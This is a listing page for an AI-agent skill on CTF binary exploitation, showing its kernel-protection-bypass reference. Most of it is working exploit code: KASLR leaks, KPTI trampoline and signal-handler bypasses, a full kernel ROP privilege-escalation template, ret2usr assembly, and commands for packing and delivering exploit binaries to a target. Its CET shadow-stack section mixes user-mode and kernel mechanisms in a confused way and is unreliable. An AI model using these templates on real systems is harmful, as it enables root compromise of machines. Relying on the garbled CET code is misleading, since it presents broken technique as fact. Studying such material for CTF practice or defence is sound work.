All skills
ljagiello avatar

/ctf-pwn

@61c2efe
by Lukasz Jagielloljagiello/ctf-skills3.4k stars
393

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

Use this Skill: https://skilld.dev/gh/ljagiello/ctf-skills/ctf-pwn

This session only. Nothing lands on disk.

kernel-bypass.md

≈5k tokens on demand. Your agent reads this file only when SKILL.md points to it.

CTF Pwn - Kernel Protection Bypass

Table of Contents


KASLR and FGKASLR Bypass

KASLR Bypass via Stack Leak (hxp CTF 2020)

Leak a kernel text pointer from the stack to compute the KASLR (Kernel Address Space Layout Randomization) slide:

// Kernel base without KASLR
#define KERNEL_BASE 0xffffffff81000000

unsigned long leak[40];
read(fd, leak, sizeof(leak));  // oversized read from vulnerable module

// leak[38] contains a randomized kernel text pointer
unsigned long kaslr_offset = (leak[38] & 0xffffffffffff0000) - KERNEL_BASE;

// Apply offset to all addresses
unsigned long commit_creds_kaslr = commit_creds + kaslr_offset;
unsigned long pop_rdi_ret_kaslr = pop_rdi_ret + kaslr_offset;

Other KASLR leak sources:

  • /proc/kallsyms (if kptr_restrict != 1)
  • dmesg (if dmesg_restrict != 1)
  • Kernel oops messages (if oops doesn't panic)
  • UAF reading freed kernel objects containing text pointers
  • modprobe_path has 1-byte entropy — brute-forceable with AAW

FGKASLR Bypass (hxp CTF 2020)

FGKASLR (Function Granular KASLR) randomizes individual functions, but the early .text section (up to approximately offset 0x400dc6) remains at a fixed offset from the kernel base. Gadgets from this range are safe to use.

Method 1: Use only unaffected .text gadgets

# Find gadgets only in the non-randomized range
ropr --no-uniq -R "^pop rdi; ret;|^swapgs" ./vmlinux | \
    awk -F: '{if (strtonum("0x"$1) < 0xffffffff81400dc6) print}'

swapgs_restore_regs_and_return_to_usermode is located in the unaffected .text section and can be used with only the KASLR base offset.

Method 2: Resolve randomized functions via __ksymtab

__ksymtab entries use relative offsets, not absolute addresses. The __ksymtab section itself is not randomized by FG-KASLR:

// struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };
// Real address = &ksymtab_entry + entry.value_offset

unsigned long ksymtab_prepare_kernel_cred = 0xffffffff81f8d4fc; // from /proc/kallsyms
unsigned long ksymtab_commit_creds = 0xffffffff81f87d90;

// ROP chain to read ksymtab entry and compute real address:
// 1. Load ksymtab address into rax
payload[off++] = pop_rax_ret + kaslr_offset;
payload[off++] = ksymtab_prepare_kernel_cred + kaslr_offset;
// 2. Read 4-byte relative offset: mov eax, [rax]
payload[off++] = mov_eax_deref_rax_pop1_ret + kaslr_offset;
payload[off++] = 0x0;
// 3. Return to userland to compute: real_addr = ksymtab_addr + kaslr_offset + offset
payload[off++] = kpti_trampoline + kaslr_offset + 22;
payload[off++] = 0; payload[off++] = 0;
payload[off++] = (unsigned long)resolve_and_continue;
// ...

void resolve_and_continue() {
    // eax contains the relative offset read from ksymtab
    unsigned long resolved = ksymtab_prepare_kernel_cred + kaslr_offset + fetched_offset;
    // Now use resolved address in next ROP stage
}

Key insight: FG-KASLR requires a multi-stage exploit: first return to userland to compute resolved addresses from __ksymtab offsets, then re-enter the kernel with a second ROP chain using the resolved function addresses.


KPTI Bypass Methods

KPTI (Kernel Page Table Isolation) separates kernel and user page tables. A simple swapgs; iretq fails because the user page table is not restored. Four bypass approaches:

Method 1: swapgs_restore Trampoline

The kernel function swapgs_restore_regs_and_return_to_usermode handles the full KPTI return sequence. Jump to offset +22 to skip the register-restore prologue and land directly at the CR3-swap + swapgs + iretq sequence:

// Symbol from /proc/kallsyms or vmlinux
unsigned long kpti_trampoline = 0xffffffff81200f10;

// In ROP chain, after commit_creds:
payload[off++] = kpti_trampoline + 22;  // skip to mov rdi,rsp; ... swapgs; iretq
payload[off++] = 0x0;                    // padding (popped by trampoline)
payload[off++] = 0x0;                    // padding
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

Key insight: The +22 offset skips the function's register pop/restore sequence and enters directly at the point where it swaps CR3, does swapgs, and iretq. This offset may vary between kernel versions — verify by disassembling the function.

Method 2: Signal Handler (SIGSEGV)

Register a SIGSEGV handler before the exploit. When iretq returns without KPTI handling, the page fault triggers SIGSEGV, which the handler catches to spawn a shell:

#include <signal.h>

void spawn_shell() {
    if (getuid() == 0) system("/bin/sh");
}

// Before exploit:
struct sigaction sa;
sa.sa_handler = spawn_shell;
sigemptyset(&sa.sa_mask);
sa.sa_flags = 0;
sigaction(SIGSEGV, &sa, NULL);

The ROP chain still calls commit_creds(prepare_kernel_cred(0)) and does swapgs; iretq to userland. Even though the return faults due to wrong page table, the credentials are already committed. The SIGSEGV handler runs with root privileges.

Method 3: modprobe_path via ROP

Instead of returning to userland, overwrite modprobe_path directly from the kernel ROP chain using pop rax; pop rdi; mov [rdi], rax; ret gadgets. No KPTI handling needed — the write happens entirely in kernel context.

See kernel.md - modprobe_path Overwrite for the full technique, trigger sequence, and ROP payload.

Method 4: core_pattern via ROP

Similar to Method 3 but overwrites core_pattern with a pipe command (e.g., "|/evil"). When any process crashes, the kernel executes the piped program as root.

See kernel.md - core_pattern Overwrite for the full technique and how to find the core_pattern address.


CET Shadow Stack (SHSTK) and IBT — Signal-Frame Bypass (Wolv / IERAE 2024)

Protections:

  • SHSTK (Shadow Stack): Hardware shadow stack at SSP (shadow stack pointer) — every CALL pushes return address to both normal stack and shadow stack; RET checks they match. Kernel enforces via WRSS/WRUSS and MSR_IA32_PL0_SSP.
  • IBT (Indirect Branch Tracking): Indirect calls/jmps must land on ENDBR64.

Why signal frames bypass SHSTK: On sigreturn / sigaltstack, the kernel restores the user thread's shadow stack pointer from the signal frame's xsave area (struct sigcontext + xsaves). Userspace controls that frame, so an attacker can set SSP to an attacker-controlled shadow stack that contains the ROP return addresses.

Wolv / IERAE 2024 pattern (used at Pwn2Own / CTF kernel challenges with CET enabled):

// 1. Prepare alt signal stack that is also a valid shadow stack
void *shstk_mem = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE,
                       MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0);
unsigned long ssp = (unsigned long)shstk_mem + 0x2000 - 8;

 // 2. Mark it as shadow stack (requires CET arch_prctl)
arch_prctl(ARCH_SHSTK_ENABLE, ...); // ARCH_SHSTK_ENABLE = 0x5001; or kernel auto-marks sigaltstack
arch_prctl(ARCH_CET_ALLOC_SHSTK, &ssp);

// 3. Push attacker ROP addresses onto shadow stack (must mirror normal stack)
*(unsigned long *)ssp = (unsigned long)pop_rdi_ret;
*(unsigned long *)(ssp - 8) = 0;
*(unsigned long *)(ssp - 16) = (unsigned long)prepare_kernel_cred;

// 4. Raise signal with controlled sigframe that restores SSP to ssp
struct sigaction sa = { .sa_sigaction = handler, .sa_flags = SA_SIGINFO | SA_ONSTACK };
sigaltstack(&(stack_t){ .ss_sp = shstk_mem, .ss_size = 0x2000, .ss_flags = 0 }, NULL);
sigaction(SIGUSR1, &sa, NULL);

// handler builds fake sigcontext at its stack:
void handler(int sig, siginfo_t *info, void *ucontext) {
    ucontext_t *uc = (ucontext_t *)ucontext;
    // Overwrite SSP in the saved xsave area that sigreturn will restore
    // On x86-64 cet, SSP is at uc->uc_mcontext.__ssp (or xsaves offset 0x1f8)
    uc->uc_mcontext.__ssp = ssp - 16; // point to our fake shadow stack
    // Also set normal RSP/RIP for the rop chain
    uc->uc_mcontext.gregs[REG_RSP] = (unsigned long)rop_chain;
    uc->uc_mcontext.gregs[REG_RIP] = (unsigned long)pop_rdi_ret;
}

// 5. Trigger sigreturn — kernel does WRSS to restore SSP from uc->uc_mcontext.__ssp
raise(SIGUSR1);
// → sigreturn restores both normal stack and shadow stack to attacker values
// → RET now succeeds because shadow stack matches normal stack

Simpler variant — direct sigreturn ROP without arch_prctl:

from pwn import *

# If the exploit already has an arbitrary write to set up a fake signal frame on stack:
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = normal_rop_addr
# NOTE: pwntools SigreturnFrame has no ssp field. For CET shadow-stack control,
# build the raw frame then patch the SSP slot in the xsave area manually, and
# push a matching shadow-stack ROP pivot so RET pairs with the restored SSP:
raw = bytearray(bytes(frame))
# SSP lives in the signal frame's shadow-stack area (bytes 0x1e8-0x200 on
# CET-aware kernels); overwrite it so the kernel restores a valid SSP on sigreturn
ssp_offset = 0x1e8
raw[ssp_offset:ssp_offset + 8] = p64(fake_shstk_addr)
# Mirror the normal-stack ROP chain onto the fake shadow stack so each RET
# finds the same return address on both stacks
fake_shstk = flat([pop_rdi_ret, 0, prepare_kernel_cred])

Key insights:

  • CET's shadow stack is not a barrier if the attacker can trigger a signal — sigreturn is a privileged WRSS gadget that restores SSP from userspace-controlled memory.
  • IBT is bypassed together: signal handler return uses IRET, not an indirect JMP, so ENDBR64 is not checked. Once SSP is controlled, standard kROP works.
  • On kernels without ARCH_CET_ALLOC_SHSTK, the attacker can reuse the existing shadow stack mapping and just overwrite its contents via a prior write primitive, then pivots SSP via the signal frame by SHSTK offset.
  • Detection: check cat /proc/cpuinfo | grep cet, and rdmsr 0x6a2 (IA32_PL0_SSP) or arch_prctl(ARCH_CET_STATUS) — if CET is enabled, any RIP hijack must be paired with shadow stack control.

References: Wolv / IERAE — Bypassing Intel CET with Signal Frames (2024), Black Hat Asia 2024; kernel patch x86/cet: handle signal shadow stack.

SMEP / SMAP Bypass

SMEP (Supervisor Mode Execution Prevention): Blocks executing userland pages from kernel mode.

SMAP (Supervisor Mode Access Prevention): Blocks accessing userland memory from kernel mode.

  • Bypass: kROP with heap-resident chain (all data in kernel heap), or stac/clac gadgets to temporarily disable SMAP.

Direct CR4 modification (old kernels): Write to CR4 to clear SMEP/SMAP bits. Blocked on modern kernels by native_write_cr4() pinning.


KPTI / SMEP / SMAP Quick Reference

Protection Blocks Bypass
SMEP Executing userland pages from kernel kROP (kernel ROP chain) — see kernel.md
SMAP Accessing userland memory from kernel kROP with heap-resident chain, stac/clac gadgets
No SMEP/SMAP (nothing) ret2usr — directly call userland privesc function
KPTI Kernel page table isolation Trampoline, signal handler, modprobe_path, core_pattern

See KPTI Bypass Methods for detailed bypass techniques with code.


GDB Kernel Module Debugging

Load vulnerable kernel module symbols in GDB for source-level debugging:

# 1. Find module load address (as root inside QEMU)
cat /proc/modules
# vuln 16384 0 - Live 0xffffffffc0000000 (O)

# 2. In GDB, load module symbols at that address
(gdb) target remote localhost:1234
(gdb) add-symbol-file vuln.ko 0xffffffffc0000000
(gdb) b swrite            # breakpoint on module function
(gdb) c

# 3. Inspect stack after breakpoint hit
(gdb) x/20xg $rsp-0x90    # examine stack buffer
(gdb) search "AAAAAAAA"   # find buffer location (pwndbg)

Note: /proc/modules requires root to read actual addresses. Non-root users see zeroed addresses. Modify /init to keep root for debugging.


Initramfs and virtio-9p Workflow

Shared directory via virtio-9p — transfer exploits between host and QEMU without rebuilding initramfs:

# Add to QEMU launch script:
-fsdev local,security_model=passthrough,id=fsdev0,path=./share \
-device virtio-9p-pci,id=fs0,fsdev=fsdev0,mount_tag=hostshare

# Inside QEMU guest (add to /init or run manually):
mkdir -p /home/ctf && mount -t 9p -o trans=virtio,version=9p2000.L hostshare /home/ctf

# On host, compile exploit into shared directory:
gcc exploit.c -static -o ./share/exploit

Extract and modify initramfs:

# Extract
mkdir initramfs && cd initramfs
gzip -dc ../initramfs.cpio.gz | cpio -idmv

# Modify /init for debugging (get root shell instead of unprivileged user)
# Comment out: exec su -l ctf
# Add: /bin/sh

# Rebuild
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz

Key modifications to /init for debugging:

  • Comment out exec su -l ctf (or similar) to keep root privileges
  • Comment out echo 1 > /proc/sys/kernel/kptr_restrict to see /proc/kallsyms
  • Comment out echo 1 > /proc/sys/kernel/dmesg_restrict to see dmesg
  • Comment out chmod 400 /proc/kallsyms to read symbol addresses

Finding Symbol Offsets Without CONFIG_KALLSYMS_ALL

/proc/kallsyms only shows .text symbols by default. Data symbols like modprobe_path and core_pattern require CONFIG_KALLSYMS_ALL=y.

Finding modprobe_path:

# 1. Get call_usermodehelper_setup address (always in /proc/kallsyms)
cat /proc/kallsyms | grep call_usermodehelper_setup

# 2. In GDB, set breakpoint and trigger
hb *0xffffffff810c8c80
# Trigger: echo -ne '\xff\xff\xff\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x

# 3. Check first argument (RDI = modprobe_path)
(gdb) p/x $rdi
# 0xffffffff8265ff00
(gdb) x/s $rdi
# "/sbin/modprobe"

Finding core_pattern:

# 1. Set breakpoint on override_creds (called by do_coredump)
# 2. Crash a process: gcc -static -o crash -xc - <<< 'int main(){((void(*)())0)();}'
# 3. After override_creds returns, disassemble — look for data address in movzx

Exploit Templates

Full Kernel ROP Template (SMEP + KPTI)

Complete exploit for kernel stack overflow with SMEP and KPTI enabled:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

// Addresses from vmlinux (apply KASLR offset if needed)
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long pop_rdi_ret;
unsigned long mov_rdi_rax_pop1_ret;
unsigned long kpti_trampoline;

// Userland state
unsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;

void save_userland_state() {
    __asm__(".intel_syntax noprefix;"
        "mov %[cs], cs;"
        "mov %[ss], ss;"
        "mov %[sp], rsp;"
        "pushf; pop %[rflags];"
        ".att_syntax;"
        : [cs] "=r"(user_cs), [ss] "=r"(user_ss),
          [sp] "=r"(user_sp), [rflags] "=r"(user_rflags));
    user_rip = (unsigned long)spawn_shell;
}

void spawn_shell() {
    if (getuid() == 0) {
        printf("[+] root!\n");
        system("/bin/sh");
    } else {
        printf("[-] privesc failed\n");
        exit(1);
    }
}

int main() {
    save_userland_state();
    int fd = open("/dev/hackme", O_RDWR);

    // Step 1: Leak canary + KASLR base
    unsigned long leak[40];
    read(fd, leak, sizeof(leak));
    unsigned long cookie = leak[16];
    unsigned long kaslr_offset = (leak[38] & 0xffffffffffff0000) - 0xffffffff81000000;

    // Step 2: Apply KASLR offset
    prepare_kernel_cred += kaslr_offset;
    commit_creds += kaslr_offset;
    pop_rdi_ret += kaslr_offset;
    mov_rdi_rax_pop1_ret += kaslr_offset;
    kpti_trampoline += kaslr_offset;

    // Step 3: Build ROP chain
    unsigned long payload[50];
    int off = 16;
    payload[off++] = cookie;
    payload[off++] = 0;  // rbx
    payload[off++] = 0;  // r12
    payload[off++] = 0;  // rbp

    // prepare_kernel_cred(0) → commit_creds(result)
    payload[off++] = pop_rdi_ret;
    payload[off++] = 0;
    payload[off++] = prepare_kernel_cred;
    payload[off++] = mov_rdi_rax_pop1_ret;
    payload[off++] = 0;  // pop rbx padding
    payload[off++] = commit_creds;

    // KPTI-safe return to userland
    payload[off++] = kpti_trampoline + 22;
    payload[off++] = 0;  // padding
    payload[off++] = 0;  // padding
    payload[off++] = user_rip;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    write(fd, payload, sizeof(payload));
    return 0;
}

ret2usr Template (No SMEP/SMAP)

void privesc() {
    __asm__(".intel_syntax noprefix;"
        "movabs rax, %[prepare_kernel_cred];"
        "xor rdi, rdi;"
        "call rax;"
        "mov rdi, rax;"
        "movabs rax, %[commit_creds];"
        "call rax;"
        "swapgs;"
        "mov r15, %[user_ss];   push r15;"
        "mov r15, %[user_sp];   push r15;"
        "mov r15, %[user_rflags]; push r15;"
        "mov r15, %[user_cs];   push r15;"
        "mov r15, %[user_rip];  push r15;"
        "iretq;"
        ".att_syntax;"
        : : [prepare_kernel_cred] "r"(prepare_kernel_cred),
            [commit_creds] "r"(commit_creds),
            [user_ss] "r"(user_ss), [user_sp] "r"(user_sp),
            [user_rflags] "r"(user_rflags),
            [user_cs] "r"(user_cs), [user_rip] "r"(user_rip));
}

Exploit Delivery

Kernel exploits are typically large static binaries. Minimize size for remote delivery:

# 1. Compile with musl-libc (much smaller than glibc)
musl-gcc -static -O2 -o exploit exploit.c

# 2. Strip symbols
strip exploit

# 3. Compress and encode for transfer
gzip exploit && base64 exploit.gz > exploit.b64

# 4. On target: decode and decompress
base64 -d exploit.b64 | gunzip > /tmp/exploit && chmod +x /tmp/exploit

# Optional: UPX compression (further reduces size)
upx --best exploit

Common pitfall: If the exploit uses setxattr() with a file path, ensure the file exists in the remote environment. Local path (/tmp/exploit) may differ from remote path (/home/user/exploit).

Source: SKILL.md on GitHub

2 alerts16d5 checks · Risk SAFE
  • Gen Agent Trust Hub16d

    The skill provides a comprehensive toolkit for binary exploitation (pwn) in CTF challenges, including instructions for environment setup and payload generation. While it involves potentially dangerous capabilities like arbitrary command execution and tool installation, these are consistent with its stated educational and competitive purpose.

  • Socket16d

    12 alerts: gptSecurity, gptAnomaly, gptMalware

  • Snyk16d

    Risk: LOW · No issues

  • Runlayer6mo

    7/7 files flagged

  • ZeroLeaks5mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at 61c2efe. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub 3 weeks ago.

Activeupdated 3 weeks ago
metadata
{
  "user-invocable": "false"
}
All 1 allowed tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch
Other metadata
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
  • binary-exploitation
  • ctf
  • rop
  • shellcode
  • heap
  • pwn
  • gdb
  • pwntools
  • kernel
  • seccomp

README badge

README badge for ljagiello/ctf-skills/ctf-pwn

Provides binary exploitation techniques for CTF challenges targeting memory corruption and low-level primitives like buffer overflows, format strings, heap bugs, ROP chains, and kernel exploits. Includes detailed references for ret2libc, ret2csu, SROP, seccomp bypass, heap techniques (House of Apple, tcache poisoning), FILE structure exploitation, and Windows/Linux privilege escalation — but assumes the vulnerable binary is already identified and does not cover reverse engineering or standalone crypto challenges.

Generated from the current SKILL.md.

Does this skill cover heap exploitation?
Yes. The skill includes techniques for House of Apple 2, House of Einherjar, tcache poisoning, FILE structure exploitation, and UAF attacks across glibc and custom allocators.
What platforms and architectures does this support?
Linux (x86, x86_64, ARM) and Windows (SEH-based exploits). macOS is supported for development tools but target exploitation assumes Linux or Windows binaries.
Does this cover kernel exploitation?
Yes. The skill includes kernel ROP, tty_struct heap spray, KASLR/KPTI/SMEP bypass, modprobe_path overwrite, and privilege escalation via ret2usr and kernel memory corruption.
When should I use this skill instead of reverse engineering?
Use this skill when you already understand what the binary does and need to convert a known vulnerability (buffer overflow, format string, UAF, etc.) into code execution. Switch to reverse engineering first if the main blocker is understanding the binary's purpose or control flow.
Does this skill handle web bugs or cryptographic challenges?
No. The skill excludes pure web bugs, disk/packet forensics, and standalone crypto/math challenges. Use ctf-web or ctf-crypto for those domains instead.

Generated from the current SKILL.md. These answers refresh after source changes.